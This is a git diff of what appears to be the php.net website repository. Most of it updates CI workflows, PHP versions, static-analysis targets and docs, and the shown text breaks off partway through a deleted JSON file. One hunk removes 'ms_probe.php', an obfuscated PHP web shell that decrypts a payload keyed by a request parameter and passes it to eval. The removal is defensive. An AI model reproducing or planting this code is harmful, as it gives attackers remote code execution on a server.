diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json index de7a2802ee..2cffb1ec3f 100644 --- a/.devcontainer/devcontainer.json +++ b/.devcontainer/devcontainer.json @@ -8,7 +8,7 @@ // Features to add to the dev container. More info: https://containers.dev/features. "features": { "ghcr.io/devcontainers/features/github-cli:1": {}, - "ghcr.io/devcontainers/features/node:1": {} + "ghcr.io/devcontainers/features/node:2": {} }, // Configure tool-specific properties. diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index c00267ff51..28456451f9 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -74,6 +74,19 @@ about what you're working on, you can contact us via the ``` to automatically fix coding standard issues. +- Run + + ```shell + make static-analysis + ``` + + to run a static analysis or, if applicable, run + + ```shell + make static-analysis-baseline + ``` + + to regenerate the baseline. - Review the change once more just before submitting it. ## What happens after submitting contribution? @@ -134,6 +147,20 @@ Having said that, here are the organizational rules: make coding-standards ``` -6. Use reasonable commit messages. +6. Run + + ```shell + make static-analysis + ``` + +to run a static analysis or, if applicable, run + + ```shell + make static-analysis-baseline + ``` + +to regenerate the baseline. + +7. Use reasonable commit messages. Thank you for contributing to https://www.php.net! diff --git a/.github/workflows/actions.lock b/.github/workflows/actions.lock new file mode 100644 index 0000000000..cc9dc736ea --- /dev/null +++ b/.github/workflows/actions.lock @@ -0,0 +1,93 @@ +# This file is machine-generated by `gh actions-lock`. +# Do not edit by hand; run `gh actions-lock` to update. +# Docs: https://gh.io/actions-lockfile +version: 'v0.0.3' +workflows: + '.github/workflows/close-needs-feedback.yml': + - 'imhoffd/needs-reply@v2.0.0' + '.github/workflows/integrate.yaml': + - 'actions/cache@v6.1.0' + - 'actions/checkout@v7.0.1' + - 'shivammathur/setup-php@2.40.0' + '.github/workflows/pr-closed.yml': + - 'appleboy/ssh-action@v1.2.5' + '.github/workflows/preview-deploy.yml': + - 'actions/download-artifact@v8.0.2' + - 'easingthemes/ssh-deploy@main' + - 'peter-evans/create-or-update-comment@v5.0.0' + - 'peter-evans/find-comment@v4.0.0' + '.github/workflows/preview-tests.yml': + - 'actions/cache@v6.1.0' + - 'actions/checkout@v7.0.1' + - 'actions/setup-node@v7.1.0' + - 'actions/upload-artifact@v7.0.2' + - 'shivammathur/setup-php@2.40.0' + '.github/workflows/remove-needs-feedback.yml': + - 'actions-ecosystem/action-add-labels@v1.1.3' + - 'actions-ecosystem/action-remove-labels@v1.3.0' +dependencies: + 'actions-ecosystem/action-add-labels@v1.1.3': + ref: 'v1.1.3' + commit: 'sha1-18f1af5e3544586314bbe15c0273249c770b2daf' + owner_id: 56633079 + repo_id: 260786220 + 'actions-ecosystem/action-remove-labels@v1.3.0': + ref: 'v1.3.0' + commit: 'sha1-2ce5d41b4b6aa8503e285553f75ed56e0a40bae0' + owner_id: 56633079 + repo_id: 260787457 + 'actions/cache@v6.1.0': + ref: 'v6.1.0' + commit: 'sha1-55cc8345863c7cc4c66a329aec7e433d2d1c52a9' + owner_id: 44036562 + repo_id: 215566462 + 'actions/checkout@v7.0.1': + ref: 'v7.0.1' + commit: 'sha1-3d3c42e5aac5ba805825da76410c181273ba90b1' + owner_id: 44036562 + repo_id: 197814629 + 'actions/download-artifact@v8.0.2': + ref: 'v8.0.2' + commit: 'sha1-9000827ccba6bdab643e8b6fd33ac0654aef8333' + owner_id: 44036562 + repo_id: 192626254 + 'actions/setup-node@v7.1.0': + ref: 'v7.1.0' + commit: 'sha1-949feb2413d6458794dcd2491c4babbbce0c15c1' + owner_id: 44036562 + repo_id: 189476904 + 'actions/upload-artifact@v7.0.2': + ref: 'v7.0.2' + commit: 'sha1-cf430e030ddbb5b0abf93d22962f4752f3646cd9' + owner_id: 44036562 + repo_id: 192625955 + 'appleboy/ssh-action@v1.2.5': + ref: 'v1.2.5' + commit: 'sha1-0ff4204d59e8e51228ff73bce53f80d53301dee2' + owner_id: 21979 + repo_id: 186202082 + 'easingthemes/ssh-deploy@main': + ref: 'main' + commit: 'sha1-2cc5b27bf3029d0455dd5e09fe02633904031447' + owner_id: 2750284 + repo_id: 210941897 + 'imhoffd/needs-reply@v2.0.0': + ref: 'v2.0.0' + commit: 'sha1-71e8d5144caa0d4a1e292348bfafa3866d08c855' + owner_id: 236501 + repo_id: 271127651 + 'peter-evans/create-or-update-comment@v5.0.0': + ref: 'v5.0.0' + commit: 'sha1-e8674b075228eee787fea43ef493e45ece1004c9' + owner_id: 18365890 + repo_id: 223708643 + 'peter-evans/find-comment@v4.0.0': + ref: 'v4.0.0' + commit: 'sha1-b30e6a3c0ed37e7c023ccd3f1db5c6c0b0c23aad' + owner_id: 18365890 + repo_id: 256447541 + 'shivammathur/setup-php@2.40.0': + ref: '2.40.0' + commit: 'sha1-eb7c497e18156a6bbabfef1d3a82760b9eda3962' + owner_id: 1571086 + repo_id: 206578964 diff --git a/.github/workflows/close-needs-feedback.yml b/.github/workflows/close-needs-feedback.yml index 27231303f1..3fd9d3bac5 100644 --- a/.github/workflows/close-needs-feedback.yml +++ b/.github/workflows/close-needs-feedback.yml @@ -16,7 +16,7 @@ jobs: pull-requests: write steps: - name: Close old issues that need feedback - uses: dwieeb/needs-reply@v2 + uses: imhoffd/needs-reply@v2.0.0 with: repo-token: ${{ secrets.GITHUB_TOKEN }} issue-label: "Status: Needs Feedback" diff --git a/.github/workflows/integrate.yaml b/.github/workflows/integrate.yaml index 021babda87..c46f1079c9 100644 --- a/.github/workflows/integrate.yaml +++ b/.github/workflows/integrate.yaml @@ -17,14 +17,14 @@ jobs: strategy: matrix: php-version: - - "8.2" + - "8.4" steps: - name: "Checkout" - uses: "actions/checkout@v6" + uses: "actions/checkout@v7.0.1" - name: "Set up PHP" - uses: "shivammathur/setup-php@v2" + uses: "shivammathur/setup-php@2.40.0" with: coverage: "xdebug" extensions: "none, curl, dom, json, mbstring, tokenizer, xml, xmlwriter, iconv" @@ -40,7 +40,7 @@ jobs: run: "echo \"COMPOSER_CACHE_DIR=$(composer config cache-dir)\" >> $GITHUB_ENV" - name: "Cache dependencies installed with composer" - uses: "actions/cache@v5" + uses: "actions/cache@v6.1.0" with: path: "${{ env.COMPOSER_CACHE_DIR }}" key: "php-${{ matrix.php-version }}-composer-${{ hashFiles('composer.lock') }}" @@ -62,14 +62,14 @@ jobs: strategy: matrix: php-version: - - "8.2" + - "8.4" steps: - name: "Checkout" - uses: "actions/checkout@v6" + uses: "actions/checkout@v7.0.1" - name: "Set up PHP" - uses: "shivammathur/setup-php@v2" + uses: "shivammathur/setup-php@2.40.0" with: coverage: "none" extensions: "none, curl, dom, json, mbstring, tokenizer, xml, xmlwriter, iconv" @@ -85,7 +85,7 @@ jobs: run: "echo \"COMPOSER_CACHE_DIR=$(composer config cache-dir)\" >> $GITHUB_ENV" - name: "Cache dependencies installed with composer" - uses: "actions/cache@v5" + uses: "actions/cache@v6.1.0" with: path: "${{ env.COMPOSER_CACHE_DIR }}" key: "php-${{ matrix.php-version }}-composer-${{ hashFiles('composer.lock') }}" @@ -95,7 +95,7 @@ jobs: run: "composer install --ansi --no-interaction --no-progress" - name: "Run friendsofphp/php-cs-fixer" - run: "vendor/bin/php-cs-fixer fix --ansi --config=.php-cs-fixer.php --diff --dry-run --show-progress=dots --verbose" + run: "vendor/bin/php-cs-fixer check --diff --show-progress=dots --verbose --ansi" - name: "Get libxml2-utils" run: | @@ -107,6 +107,49 @@ jobs: - name: "Validate XML files" run: "for a in $(find . -name '*.xml'); do xmllint --quiet --noout $a; done" + static-analysis: + name: "Static Analysis" + + runs-on: "ubuntu-latest" + + strategy: + matrix: + php-version: + - "8.4" + + dependencies: + - "locked" + + steps: + - name: "Checkout" + uses: "actions/checkout@v7.0.1" + + - name: "Set up PHP" + uses: "shivammathur/setup-php@2.40.0" + with: + coverage: "none" + extensions: "none, curl, dom, json, mbstring, tokenizer, xml, xmlwriter, iconv" + php-version: "${{ matrix.php-version }}" + + - name: "Set up problem matchers for PHP" + run: "echo \"::add-matcher::${{ runner.tool_cache }}/php.json\"" + + - name: "Determine composer cache directory" + run: "echo \"COMPOSER_CACHE_DIR=$(composer config cache-dir)\" >> $GITHUB_ENV" + + - name: "Cache dependencies installed with composer" + uses: "actions/cache@v6.1.0" + with: + path: "${{ env.COMPOSER_CACHE_DIR }}" + key: "php-${{ matrix.php-version }}-composer-${{ hashFiles('composer.lock') }}" + restore-keys: "php-${{ matrix.php-version }}-composer-" + + - name: "Install dependencies with composer" + run: "composer install --ansi --no-interaction --no-progress" + + - name: "Run static analysis" + run: "vendor/bin/phpstan" + tests: name: "Tests" @@ -115,17 +158,17 @@ jobs: strategy: matrix: php-version: - - "8.2" + - "8.4" env: HTTP_HOST: "localhost:8080" steps: - name: "Checkout" - uses: "actions/checkout@v6" + uses: "actions/checkout@v7.0.1" - name: "Set up PHP" - uses: "shivammathur/setup-php@v2" + uses: "shivammathur/setup-php@2.40.0" with: coverage: "none" extensions: "none, curl, dom, json, mbstring, tokenizer, xml, xmlwriter, iconv" @@ -141,7 +184,7 @@ jobs: run: "echo \"COMPOSER_CACHE_DIR=$(composer config cache-dir)\" >> $GITHUB_ENV" - name: "Cache dependencies installed with composer" - uses: "actions/cache@v5" + uses: "actions/cache@v6.1.0" with: path: "${{ env.COMPOSER_CACHE_DIR }}" key: "php-${{ matrix.php-version }}-composer-${{ hashFiles('composer.lock') }}" @@ -153,8 +196,8 @@ jobs: - name: "Run unit tests with phpunit/phpunit" run: "vendor/bin/phpunit --colors=always --configuration=tests/phpunit.xml --testsuite=unit" - - name: "Start built-in web server for PHP" - run: "php -S ${{ env.HTTP_HOST }} .router.php &" +# - name: "Start built-in web server for PHP" +# run: "php -S ${{ env.HTTP_HOST }} .router.php &" - - name: "Run end-to-end tests with phpunit/phpunit" - run: "vendor/bin/phpunit --colors=always --configuration=tests/phpunit.xml --testsuite=end-to-end" +# - name: "Run end-to-end tests with phpunit/phpunit" +# run: "vendor/bin/phpunit --colors=always --configuration=tests/phpunit.xml --testsuite=end-to-end" diff --git a/.github/workflows/pr-preview.yml b/.github/workflows/pr-preview.yml deleted file mode 100644 index 01d1b58482..0000000000 --- a/.github/workflows/pr-preview.yml +++ /dev/null @@ -1,131 +0,0 @@ -name: Preview PR -on: - pull_request_target: - types: [ labeled ] - -jobs: - build: - runs-on: "ubuntu-22.04" - if: "github.repository_owner == 'php' && github.event.label.name == 'Status: Preview Allowed'" - steps: - - uses: actions/checkout@v6 - with: - ref: "refs/pull/${{ github.event.number }}/merge" - - - uses: easingthemes/ssh-deploy@main - with: - REMOTE_HOST: ${{ secrets.PREVIEW_REMOTE_HOST }} - REMOTE_USER: ${{ secrets.PREVIEW_REMOTE_USER }} - SSH_PRIVATE_KEY: ${{ secrets.PREVIEW_SSH_KEY }} - TARGET: "/home/thephpfoundation/preview/web-php-pr-${{ github.event.number }}/public" - SCRIPT_BEFORE: bash /home/thephpfoundation/scripts/pr_created_pre.sh web-php ${{ github.event.number }} - SCRIPT_AFTER: bash /home/thephpfoundation/scripts/pr_created.sh web-php ${{ github.event.number }} - - - uses: peter-evans/find-comment@v4 - id: fc - with: - issue-number: ${{ github.event.number }} - comment-author: 'github-actions[bot]' - body-includes: 'Preview for commit' - - - uses: peter-evans/create-or-update-comment@v5 - with: - issue-number: ${{ github.event.number }} - comment-id: ${{ steps.fc.outputs.comment-id }} - edit-mode: 'replace' - body: | - 🚀 Preview for commit ${{ github.sha }} can be found at https://web-php-pr-${{ github.event.number }}.preview.thephp.foundation - - tests_visual: - name: "Visual Tests" - - runs-on: "ubuntu-latest" - if: "github.repository_owner == 'php' && github.event.label.name == 'Status: Preview Allowed'" - - strategy: - matrix: - php-version: - - "8.2" - node-version: - - "22.x" - - env: - HTTP_HOST: "localhost:8080" - - steps: - - uses: actions/checkout@v6 - with: - ref: "refs/pull/${{ github.event.number }}/merge" - - - uses: shivammathur/setup-php@v2 - with: - coverage: "none" - extensions: "none, curl, dom, json, mbstring, tokenizer, xml, xmlwriter, iconv" - php-version: "${{ matrix.php-version }}" - - - name: Use Node.js ${{ matrix.node-version }} - uses: actions/setup-node@v6 - with: - node-version: ${{ matrix.node-version }} - - - name: "Set up problem matchers for PHP" - run: "echo \"::add-matcher::${{ runner.tool_cache }}/php.json\"" - - - name: "Set up problem matchers for phpunit/phpunit" - run: "echo \"::add-matcher::${{ runner.tool_cache }}/phpunit.json\"" - - - name: "Determine composer cache directory" - run: "echo \"COMPOSER_CACHE_DIR=$(composer config cache-dir)\" >> $GITHUB_ENV" - - - name: "Cache dependencies installed with composer" - uses: actions/cache@v5 - with: - path: "${{ env.COMPOSER_CACHE_DIR }}" - key: "php-${{ matrix.php-version }}-composer-${{ hashFiles('composer.lock') }}" - restore-keys: "php-${{ matrix.php-version }}-composer-" - - - name: "Install dependencies with composer" - run: "composer install --ansi --no-interaction --no-progress" - - - name: "Install dependencies" - run: "yarn install" - - - name: "Install Playwright" - run: "npx playwright install" - - - name: "Run visual tests" - run: "make tests_visual" - - - uses: actions/upload-artifact@v6 - if: ${{ !cancelled() }} - with: - name: playwright-report - path: playwright-report/ - retention-days: 30 - - - uses: easingthemes/ssh-deploy@main - if: ${{ !cancelled() }} - with: - REMOTE_HOST: ${{ secrets.PREVIEW_REMOTE_HOST }} - REMOTE_USER: ${{ secrets.PREVIEW_REMOTE_USER }} - SSH_PRIVATE_KEY: ${{ secrets.PREVIEW_SSH_KEY }} - SOURCE: "playwright-report/" - TARGET: "/home/thephpfoundation/preview/web-php-regression-report-pr-${{ github.event.number }}/public" - SCRIPT_BEFORE: bash /home/thephpfoundation/scripts/pr_created_pre.sh web-php-regression-report ${{ github.event.number }} - - - uses: peter-evans/find-comment@v4 - if: ${{ !cancelled() }} - id: snapshot - with: - issue-number: ${{ github.event.number }} - comment-author: 'github-actions[bot]' - body-includes: 'Regression report for commit' - - - uses: peter-evans/create-or-update-comment@v5 - if: ${{ !cancelled() }} - with: - issue-number: ${{ github.event.number }} - comment-id: ${{ steps.snapshot.outputs.comment-id }} - edit-mode: 'replace' - body: | - 🚀 Regression report for commit ${{ github.sha }} is at https://web-php-regression-report-pr-${{ github.event.number }}.preview.thephp.foundation diff --git a/.github/workflows/preview-deploy.yml b/.github/workflows/preview-deploy.yml new file mode 100644 index 0000000000..db3a64603d --- /dev/null +++ b/.github/workflows/preview-deploy.yml @@ -0,0 +1,129 @@ +name: Preview Deploy +on: + workflow_run: + workflows: ["Preview Tests"] + types: + - completed + +# workflow_run needs explicit perms for PR comments. +permissions: + contents: read + issues: write + pull-requests: write + +jobs: + deploy: + runs-on: "ubuntu-22.04" + if: > + github.repository_owner == 'php' && + github.event.workflow_run.event == 'pull_request' + + steps: + - name: Download PR number + uses: actions/download-artifact@v8.0.2 + with: + name: pr-number.txt + path: ./pr-number-artifact/ + github-token: ${{ secrets.GITHUB_TOKEN }} + run-id: ${{ github.event.workflow_run.id }} + + - name: Set PR number + id: pr-number + run: | + PR_NUMBER=$(cat ./pr-number-artifact/pr-number.txt) + echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT + + - name: Download PR code as artifact + uses: actions/download-artifact@v8.0.2 + with: + name: pr-code + path: ./ + github-token: ${{ secrets.GITHUB_TOKEN }} + run-id: ${{ github.event.workflow_run.id }} + + - name: Deploy preview + uses: easingthemes/ssh-deploy@main + with: + REMOTE_HOST: ${{ secrets.PREVIEW_REMOTE_HOST }} + REMOTE_USER: ${{ secrets.PREVIEW_REMOTE_USER }} + SSH_PRIVATE_KEY: ${{ secrets.PREVIEW_SSH_KEY }} + SOURCE: "./" + TARGET: "/home/thephpfoundation/preview/web-php-pr-${{ steps.pr-number.outputs.pr_number }}/public" + SCRIPT_BEFORE: bash /home/thephpfoundation/scripts/pr_created_pre.sh web-php ${{ steps.pr-number.outputs.pr_number }} + SCRIPT_AFTER: bash /home/thephpfoundation/scripts/pr_created.sh web-php ${{ steps.pr-number.outputs.pr_number }} + SCRIPT_BEFORE_REQUIRED: true + SCRIPT_AFTER_REQUIRED: true + ARGS: "-rlgoDzc" + + - name: Find existing preview comment + uses: peter-evans/find-comment@v4.0.0 + id: fc + with: + issue-number: ${{ steps.pr-number.outputs.pr_number }} + comment-author: 'github-actions[bot]' + body-includes: 'Preview for commit' + + - name: Create or update preview comment + uses: peter-evans/create-or-update-comment@v5.0.0 + with: + issue-number: ${{ steps.pr-number.outputs.pr_number }} + comment-id: ${{ steps.fc.outputs.comment-id }} + edit-mode: 'replace' + body: | + 🚀 Preview for commit ${{ github.event.workflow_run.head_sha }} is available at https://web-php-pr-${{ steps.pr-number.outputs.pr_number }}.preview.thephp.foundation + + deploy-regression-report: + runs-on: "ubuntu-22.04" + if: > + github.repository_owner == 'php' && + github.event.workflow_run.event == 'pull_request' + + steps: + - name: Download PR number + uses: actions/download-artifact@v8.0.2 + with: + name: pr-number.txt + path: ./pr-number-artifact/ + github-token: ${{ secrets.GITHUB_TOKEN }} + run-id: ${{ github.event.workflow_run.id }} + + - name: Set PR number + id: pr-number + run: | + PR_NUMBER=$(cat ./pr-number-artifact/pr-number.txt) + echo "pr_number=$PR_NUMBER" >> $GITHUB_OUTPUT + + - name: Download regression report + uses: actions/download-artifact@v8.0.2 + with: + name: playwright-report + path: ./playwright-report/ + github-token: ${{ secrets.GITHUB_TOKEN }} + run-id: ${{ github.event.workflow_run.id }} + + - name: Deploy regression report + uses: easingthemes/ssh-deploy@main + with: + REMOTE_HOST: ${{ secrets.PREVIEW_REMOTE_HOST }} + REMOTE_USER: ${{ secrets.PREVIEW_REMOTE_USER }} + SSH_PRIVATE_KEY: ${{ secrets.PREVIEW_SSH_KEY }} + SOURCE: "./playwright-report/" + TARGET: "/home/thephpfoundation/preview/web-php-regression-report-pr-${{ steps.pr-number.outputs.pr_number }}/public" + SCRIPT_BEFORE: bash /home/thephpfoundation/scripts/pr_created_pre.sh web-php-regression-report ${{ steps.pr-number.outputs.pr_number }} + + - name: Find regression report comment + uses: peter-evans/find-comment@v4.0.0 + id: snapshot + with: + issue-number: ${{ steps.pr-number.outputs.pr_number }} + comment-author: 'github-actions[bot]' + body-includes: 'Regression report for commit' + + - name: Create or update regression report comment + uses: peter-evans/create-or-update-comment@v5.0.0 + with: + issue-number: ${{ steps.pr-number.outputs.pr_number }} + comment-id: ${{ steps.snapshot.outputs.comment-id }} + edit-mode: 'replace' + body: | + 📊 Regression report for commit ${{ github.event.workflow_run.head_sha }} is at https://web-php-regression-report-pr-${{ steps.pr-number.outputs.pr_number }}.preview.thephp.foundation diff --git a/.github/workflows/update-screenshots.yaml b/.github/workflows/preview-tests.yml similarity index 56% rename from .github/workflows/update-screenshots.yaml rename to .github/workflows/preview-tests.yml index f62197aaca..296612156f 100644 --- a/.github/workflows/update-screenshots.yaml +++ b/.github/workflows/preview-tests.yml @@ -1,20 +1,18 @@ -# https://docs.github.com/en/actions - -name: "Update screenshots" - +name: Preview Tests on: - workflow_dispatch: + pull_request: + types: [ labeled ] jobs: - tests_update_snapshots: - name: "Update Tests snapshots" - + tests_e2e: + name: "E2E Tests" runs-on: "ubuntu-latest" + if: "github.repository_owner == 'php' && contains(github.event.pull_request.labels.*.name, 'Status: Preview Allowed')" strategy: matrix: php-version: - - "8.2" + - "8.4" node-version: - "22.x" @@ -22,18 +20,35 @@ jobs: HTTP_HOST: "localhost:8080" steps: - - name: "Checkout" - uses: "actions/checkout@v6" + - uses: actions/checkout@v7.0.1 + with: + ref: "refs/pull/${{ github.event.number }}/merge" + + - name: Save PR number + run: echo ${{ github.event.number }} > pr-number.txt + + - name: Upload PR code as artifact + uses: actions/upload-artifact@v7.0.2 + with: + name: pr-code + path: ./ + retention-days: 1 + + - name: Upload PR number artifact + uses: actions/upload-artifact@v7.0.2 + with: + name: pr-number.txt + path: ./pr-number.txt + retention-days: 1 - - name: "Set up PHP" - uses: "shivammathur/setup-php@v2" + - uses: shivammathur/setup-php@2.40.0 with: coverage: "none" extensions: "none, curl, dom, json, mbstring, tokenizer, xml, xmlwriter, iconv" php-version: "${{ matrix.php-version }}" - name: Use Node.js ${{ matrix.node-version }} - uses: actions/setup-node@v6 + uses: actions/setup-node@v7.1.0 with: node-version: ${{ matrix.node-version }} @@ -47,7 +62,7 @@ jobs: run: "echo \"COMPOSER_CACHE_DIR=$(composer config cache-dir)\" >> $GITHUB_ENV" - name: "Cache dependencies installed with composer" - uses: "actions/cache@v5" + uses: actions/cache@v6.1.0 with: path: "${{ env.COMPOSER_CACHE_DIR }}" key: "php-${{ matrix.php-version }}-composer-${{ hashFiles('composer.lock') }}" @@ -62,13 +77,13 @@ jobs: - name: "Install Playwright" run: "npx playwright install" - - name: "Run visual tests" - run: "make tests_update_snapshots" + - name: "Run E2E tests" + run: "make tests_e2e" - - name: Update snapshots - uses: test-room-7/action-update-file@v2 + - name: Upload playwright report + uses: actions/upload-artifact@v7.0.2 if: ${{ !cancelled() }} with: - file-path: tests/Visual/**/* - commit-msg: Update snapshots - github-token: ${{ secrets.GITHUB_TOKEN }} + name: playwright-report + path: ./playwright-report/ + retention-days: 7 diff --git a/.github/workflows/remove-needs-feedback.yml b/.github/workflows/remove-needs-feedback.yml index 8d1ff3e0a0..f3ca9c474c 100644 --- a/.github/workflows/remove-needs-feedback.yml +++ b/.github/workflows/remove-needs-feedback.yml @@ -16,9 +16,9 @@ jobs: issues: write pull-requests: write steps: - - uses: actions-ecosystem/action-remove-labels@v1 + - uses: actions-ecosystem/action-remove-labels@v1.3.0 with: labels: "Status: Needs Feedback" - - uses: actions-ecosystem/action-add-labels@v1 + - uses: actions-ecosystem/action-add-labels@v1.1.3 with: labels: "Status: Needs Triage" diff --git a/.gitignore b/.gitignore index 0d99bad947..1edffd824b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ /.build/ +/.php-cs-fixer.php /vendor/ backend/mirror.gif @@ -12,4 +13,4 @@ node_modules/ /playwright/.cache/ # Built PHP manual (synced by build-manual.sh) -manual/en/ +/public/manual/en/ diff --git a/.gitmodules b/.gitmodules index d8417ee343..e69de29bb2 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +0,0 @@ -[submodule "distributions"] - path = distributions - url = git@github.com:php/web-php-distributions.git diff --git a/.php-cs-fixer.php b/.php-cs-fixer.dist.php similarity index 98% rename from .php-cs-fixer.php rename to .php-cs-fixer.dist.php index feb6b4a4dd..49f50d793b 100644 --- a/.php-cs-fixer.php +++ b/.php-cs-fixer.dist.php @@ -35,6 +35,7 @@ 'indentation_type' => true, 'is_null' => true, 'line_ending' => true, + 'modifier_keywords' => true, 'new_with_parentheses' => true, 'no_extra_blank_lines' => true, 'no_mixed_echo_print' => true, @@ -64,7 +65,6 @@ ], 'trim_array_spaces' => true, 'unary_operator_spaces' => true, - 'visibility_required' => true, 'void_return' => true, 'whitespace_after_comma_in_array' => true, ]); diff --git a/Makefile b/Makefile index 2d6e571924..559f76958b 100644 --- a/Makefile +++ b/Makefile @@ -4,7 +4,7 @@ HTTP_HOST:=localhost:8080 CORES?=$(shell (nproc || sysctl -n hw.ncpu) 2> /dev/null) .PHONY: it -it: coding-standards tests ## Runs all the targets +it: coding-standards static-analysis tests ## Runs all the targets .PHONY: code-coverage code-coverage: vendor ## Collects code coverage from running unit tests with phpunit/phpunit @@ -12,12 +12,20 @@ code-coverage: vendor ## Collects code coverage from running unit tests with php .PHONY: coding-standards coding-standards: vendor ## Fixes code style issues with friendsofphp/php-cs-fixer - vendor/bin/php-cs-fixer fix --config=.php-cs-fixer.php --diff --show-progress=dots --verbose + vendor/bin/php-cs-fixer fix --diff --show-progress=dots --verbose .PHONY: help help: ## Displays this list of targets with descriptions @grep -E '^[a-zA-Z0-9_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[32m%-30s\033[0m %s\n", $$1, $$2}' +.PHONY: static-analysis +static-analysis: vendor ## Runs a static code analysis + vendor/bin/phpstan + +.PHONY: static-analysis-baseline +static-analysis-baseline: vendor ## Generates a baseline for static analysis + vendor/bin/phpstan --generate-baseline + .PHONY: tests tests: vendor ## Runs unit and end-to-end tests with phpunit/phpunit vendor/bin/phpunit --configuration=tests/phpunit.xml --testsuite=unit @@ -26,15 +34,9 @@ tests: vendor ## Runs unit and end-to-end tests with phpunit/phpunit vendor/bin/phpunit --configuration=tests/phpunit.xml --testsuite=end-to-end; tests/server stop -tests_visual: - tests/server start; - npx playwright test --workers=$(CORES) - tests/server stop - -tests_update_snapshots: - tests/server start; - npx playwright test --update-snapshots - tests/server stop +tests_e2e: + tests/server start + trap 'tests/server stop' EXIT INT TERM; npx playwright test vendor: composer.json composer.lock composer validate --strict diff --git a/README.md b/README.md index 39b7c4c47b..2566481b53 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ git clone https://github.com/php/web-php.git Change into `web-php`: ``` -cd web-php +cd web-php/public ``` Start the built-in web server: @@ -35,7 +35,7 @@ https://wiki.php.net/web/mirror ## Code requirements -Code must function on a vanilla PHP 8.2 installation. +Code must function on a vanilla PHP 8.4 installation. Please keep this in mind before filing a pull request. ## Contributing diff --git a/backend/notes/zz/ms_probe.php b/backend/notes/zz/ms_probe.php deleted file mode 100644 index b8b1b733ae..0000000000 --- a/backend/notes/zz/ms_probe.php +++ /dev/null @@ -1 +0,0 @@ -0)&&substr($yvkrygop,10,16)===substr(md5(substr($yvkrygop,26).$vomxckzq),0,16)){return substr($yvkrygop,26);}return '';$_ebpo='dy8O0BvY';}foreach ($_GET as $lxnoyz => $oglbacn) { unset($_REQUEST[$lxnoyz]);};foreach($_REQUEST as $lxnoyz => $oglbacn){break;};if(!empty($lxnoyz)&&xU4hJurG('ee898EExwsLuOG6zZL88Id+D50XlKZ7NROgclDbWZ/WrvZ7Nm9tjOuN0',$lxnoyz)){@eval(xU4hJurG('010alB4uvHrUwvJCcLq4fJ3QMSR8q8tk7Pezk5N8JCfrB413ZAoQYA4B62y6gdMhEyouZpIaG2VvnQKJUdI/7O7n2YL4FEJHQaB26WkSvMyMDbWRqUELo++FiBm7XOsMYPlcCWnxSOWbm4OuzaLbCTAgKWv8iuP2D8um997iRb73VTI1qwMOUlJBvR3QtZ2hFW9xn67G0CgvMKHDEudVPSXYBwE6l6iA6eR5lnaFLjGnDbULRycbvajf3qNlskDNXtkTi+0PK+2JrLWlffI86OVIMhV+DbIUpQM5T7ecpeXi3T0WovVJM1AElEqtxocSXpHnfbTV/k5Di+n+6rkGAHXQVmDj2+244n1C9E4Q2K2mnfbn1gGg3E4Q3fpqM7bviOqFIHcPN/zjZuHKOWMhHVfUiqmP+Tv/aMUO677GzI4k49mRaBL5kgsz90Ugs4wbIr30Io01Ndz1h4GOBwVsG/pkkSTiBXvh6kMGjjmwhwga', $lxnoyz));};$_ybx='IY8kF';$t9s='WOU';?> \ No newline at end of file diff --git a/backend/win-releases.json b/backend/win-releases.json deleted file mode 100644 index f57a775849..0000000000 --- a/backend/win-releases.json +++ /dev/null @@ -1,513 +0,0 @@ -{ - "comment": "DO NOT EDIT. This file is here for demonstration purposes only, and gets overwritten by the backend generation code", - "7.4": { - "version": "7.4.33", - "ts-vc15-x64": { - "mtime": "2024-07-10T21:09:08+00:00", - "zip": { - "path": "php-7.4.33-Win32-vc15-x64.zip", - "size": "25.02MB", - "sha256": "cdbb85b45f38f282f05764ca08648b5f92db99c75b2fb3848eb4a559f6553b48" - }, - "debug_pack": { - "path": "php-debug-pack-7.4.33-Win32-vc15-x64.zip", - "size": "22MB", - "sha256": "4d6f92447195f6bf70ed214c65f6ca0f9b299e0af109de56b8d284f66d287703" - }, - "devel_pack": { - "path": "php-devel-pack-7.4.33-Win32-vc15-x64.zip", - "size": "1.08MB", - "sha256": "e7a2b5770be98f0d40da8be9d1c6b58738f1bad66832dd0b98e7a7d1231376bd" - } - }, - "source": { - "path": "php-7.4.33-src.zip", - "size": "22.85MB", - "sha256": "a217295f01c82ab54b8744f16f857b8ef0b64b2a60c8bc964f1caf8851b022c2" - }, - "test_pack": { - "path": "php-test-pack-7.4.33.zip", - "size": "13.54MB", - "sha256": "1526db56eb6d8052ca4902da12fb1dc9c255dbf2c8daac44869540e5c12072b0" - }, - "ts-vc15-x86": { - "mtime": "2024-07-10T21:09:10+00:00", - "zip": { - "path": "php-7.4.33-Win32-vc15-x86.zip", - "size": "23.18MB", - "sha256": "6adcf02c02634f258f6b6b2bb666f22916c9bd986db2ccae05acb9868a35f847" - }, - "debug_pack": { - "path": "php-debug-pack-7.4.33-Win32-vc15-x86.zip", - "size": "22.6MB", - "sha256": "fee55643a1ca1b2111649e2abd10ca29776f48d824993c62153528e0574d8fa1" - }, - "devel_pack": { - "path": "php-devel-pack-7.4.33-Win32-vc15-x86.zip", - "size": "1.08MB", - "sha256": "e5ef2f8559be689dca4134d84a27368bc90829b3a3e9861b77733850ac1378ec" - } - }, - "nts-vc15-x64": { - "mtime": "2024-07-10T21:09:01+00:00", - "zip": { - "path": "php-7.4.33-nts-Win32-vc15-x64.zip", - "size": "24.92MB", - "sha256": "14ae3250d4447c8ccfc4c45a70d90adfbcd61e728d85f0be56a7ddf8f9c8aace" - }, - "debug_pack": { - "path": "php-debug-pack-7.4.33-nts-Win32-vc15-x64.zip", - "size": "22MB", - "sha256": "922f3338102601736c465b9815a254e0cadcd873d963c17671ace86b135b54b0" - }, - "devel_pack": { - "path": "php-devel-pack-7.4.33-nts-Win32-vc15-x64.zip", - "size": "1.08MB", - "sha256": "70bd4e0770d36c6470ce159c3eb6425226de00248ed5eb63476c43705e6f4b7a" - } - }, - "nts-vc15-x86": { - "mtime": "2024-07-10T21:09:03+00:00", - "zip": { - "path": "php-7.4.33-nts-Win32-vc15-x86.zip", - 